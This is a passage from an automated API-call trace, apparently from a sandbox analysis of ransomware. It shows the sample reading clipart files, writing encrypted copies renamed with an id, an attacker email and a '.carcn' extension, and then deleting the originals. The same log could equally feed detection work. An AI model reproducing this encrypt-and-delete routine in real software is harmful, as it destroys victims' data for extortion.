Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.668] lstrlenW (lpString=".dbf") returned 4 [0301.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.668] lstrlenW (lpString=".1cd") returned 4 [0301.668] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.668] lstrlenW (lpString=".jpg") returned 4 [0301.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.669] lstrlenW (lpString=".doc") returned 4 [0301.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.669] lstrlenW (lpString=".docx") returned 5 [0301.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.669] lstrlenW (lpString=".pdf") returned 4 [0301.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.669] lstrlenW (lpString=".xls") returned 4 [0301.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.669] lstrlenW (lpString=".xlsx") returned 5 [0301.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.669] lstrlenW (lpString=".ppt") returned 4 [0301.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.669] lstrlenW (lpString=".zip") returned 4 [0301.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.669] lstrlenW (lpString=".rar") returned 4 [0301.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.669] lstrlenW (lpString=".bz2") returned 4 [0301.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.669] lstrlenW (lpString=".7z") returned 3 [0301.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.670] lstrlenW (lpString=".dbf") returned 4 [0301.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.670] lstrlenW (lpString=".1cd") returned 4 [0301.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.670] lstrlenW (lpString=".jpg") returned 4 [0301.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.670] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.670] lstrlenW (lpString="FD00090_.WMF") returned 12 [0301.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.671] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=14194) returned 1 [0301.671] CloseHandle (hObject=0x368) returned 1 [0301.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0301.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.672] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.672] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.672] GetLastError () returned 0x0 [0301.672] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x3772, lpOverlapped=0x0) returned 1 [0301.674] WriteFile (in: hFile=0x390, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x3780, lpOverlapped=0x0) returned 1 [0301.677] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.677] WriteFile (in: hFile=0x390, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.678] SetEndOfFile (hFile=0x390) returned 1 [0301.678] CloseHandle (hObject=0x390) returned 1 [0301.678] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.678] SetEndOfFile (hFile=0x368) returned 1 [0302.064] CloseHandle (hObject=0x368) returned 1 [0302.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0302.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.064] lstrlenW (lpString=".doc") returned 4 [0302.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.064] lstrlenW (lpString=".docx") returned 5 [0302.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.065] lstrlenW (lpString=".pdf") returned 4 [0302.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.065] lstrlenW (lpString=".xls") returned 4 [0302.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.065] lstrlenW (lpString=".xlsx") returned 5 [0302.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.065] lstrlenW (lpString=".ppt") returned 4 [0302.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.065] lstrlenW (lpString=".zip") returned 4 [0302.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.065] lstrlenW (lpString=".rar") returned 4 [0302.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.065] lstrlenW (lpString=".bz2") returned 4 [0302.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.065] lstrlenW (lpString=".7z") returned 3 [0302.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.065] lstrlenW (lpString=".dbf") returned 4 [0302.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.065] lstrlenW (lpString=".1cd") returned 4 [0302.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.065] lstrlenW (lpString=".jpg") returned 4 [0302.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.066] lstrlenW (lpString=".doc") returned 4 [0302.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.066] lstrlenW (lpString=".docx") returned 5 [0302.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.066] lstrlenW (lpString=".pdf") returned 4 [0302.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.066] lstrlenW (lpString=".xls") returned 4 [0302.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.066] lstrlenW (lpString=".xlsx") returned 5 [0302.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.066] lstrlenW (lpString=".ppt") returned 4 [0302.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.066] lstrlenW (lpString=".zip") returned 4 [0302.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.066] lstrlenW (lpString=".rar") returned 4 [0302.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.066] lstrlenW (lpString=".bz2") returned 4 [0302.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.066] lstrlenW (lpString=".7z") returned 3 [0302.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.066] lstrlenW (lpString=".dbf") returned 4 [0302.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.066] lstrlenW (lpString=".1cd") returned 4 [0302.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0302.066] lstrlenW (lpString=".jpg") returned 4 [0302.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.067] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0302.067] lstrlenW (lpString="FD00775_.WMF") returned 12 [0302.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0302.067] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=11152) returned 1 [0302.067] CloseHandle (hObject=0x368) returned 1 [0302.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0302.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0302.067] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.068] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.068] GetLastError () returned 0x0 [0302.068] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2b90, lpOverlapped=0x0) returned 1 [0302.069] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0302.070] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.070] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.070] SetEndOfFile (hFile=0x380) returned 1 [0302.071] CloseHandle (hObject=0x380) returned 1 [0302.071] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.071] SetEndOfFile (hFile=0x368) returned 1 [0302.072] CloseHandle (hObject=0x368) returned 1 [0302.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0302.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.073] lstrlenW (lpString=".doc") returned 4 [0302.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.073] lstrlenW (lpString=".docx") returned 5 [0302.073] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.073] lstrlenW (lpString=".pdf") returned 4 [0302.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.073] lstrlenW (lpString=".xls") returned 4 [0302.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.073] lstrlenW (lpString=".xlsx") returned 5 [0302.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.073] lstrlenW (lpString=".ppt") returned 4 [0302.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.073] lstrlenW (lpString=".zip") returned 4 [0302.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.073] lstrlenW (lpString=".rar") returned 4 [0302.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.073] lstrlenW (lpString=".bz2") returned 4 [0302.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.073] lstrlenW (lpString=".7z") returned 3 [0302.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.073] lstrlenW (lpString=".dbf") returned 4 [0302.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.073] lstrlenW (lpString=".1cd") returned 4 [0302.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.073] lstrlenW (lpString=".jpg") returned 4 [0302.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.074] lstrlenW (lpString=".doc") returned 4 [0302.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.074] lstrlenW (lpString=".docx") returned 5 [0302.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.074] lstrlenW (lpString=".pdf") returned 4 [0302.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.074] lstrlenW (lpString=".xls") returned 4 [0302.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.074] lstrlenW (lpString=".xlsx") returned 5 [0302.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.074] lstrlenW (lpString=".ppt") returned 4 [0302.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.074] lstrlenW (lpString=".zip") returned 4 [0302.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.074] lstrlenW (lpString=".rar") returned 4 [0302.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.074] lstrlenW (lpString=".bz2") returned 4 [0302.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.074] lstrlenW (lpString=".7z") returned 3 [0302.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.074] lstrlenW (lpString=".dbf") returned 4 [0302.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.074] lstrlenW (lpString=".1cd") returned 4 [0302.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0302.075] lstrlenW (lpString=".jpg") returned 4 [0302.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.075] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0302.075] lstrlenW (lpString="FD00779_.WMF") returned 12 [0302.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0302.075] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=9010) returned 1 [0302.075] CloseHandle (hObject=0x368) returned 1 [0302.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0302.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0302.076] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.076] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.076] GetLastError () returned 0x0 [0302.076] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2332, lpOverlapped=0x0) returned 1 [0302.077] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2340, lpOverlapped=0x0) returned 1 [0302.078] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.078] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.101] SetEndOfFile (hFile=0x380) returned 1 [0302.101] CloseHandle (hObject=0x380) returned 1 [0302.101] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.101] SetEndOfFile (hFile=0x368) returned 1 [0302.102] CloseHandle (hObject=0x368) returned 1 [0302.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0302.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.103] lstrlenW (lpString=".doc") returned 4 [0302.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.103] lstrlenW (lpString=".docx") returned 5 [0302.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.103] lstrlenW (lpString=".pdf") returned 4 [0302.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.103] lstrlenW (lpString=".xls") returned 4 [0302.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.103] lstrlenW (lpString=".xlsx") returned 5 [0302.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.103] lstrlenW (lpString=".ppt") returned 4 [0302.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.103] lstrlenW (lpString=".zip") returned 4 [0302.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.103] lstrlenW (lpString=".rar") returned 4 [0302.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.104] lstrlenW (lpString=".bz2") returned 4 [0302.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.104] lstrlenW (lpString=".7z") returned 3 [0302.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.104] lstrlenW (lpString=".dbf") returned 4 [0302.104] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.104] lstrlenW 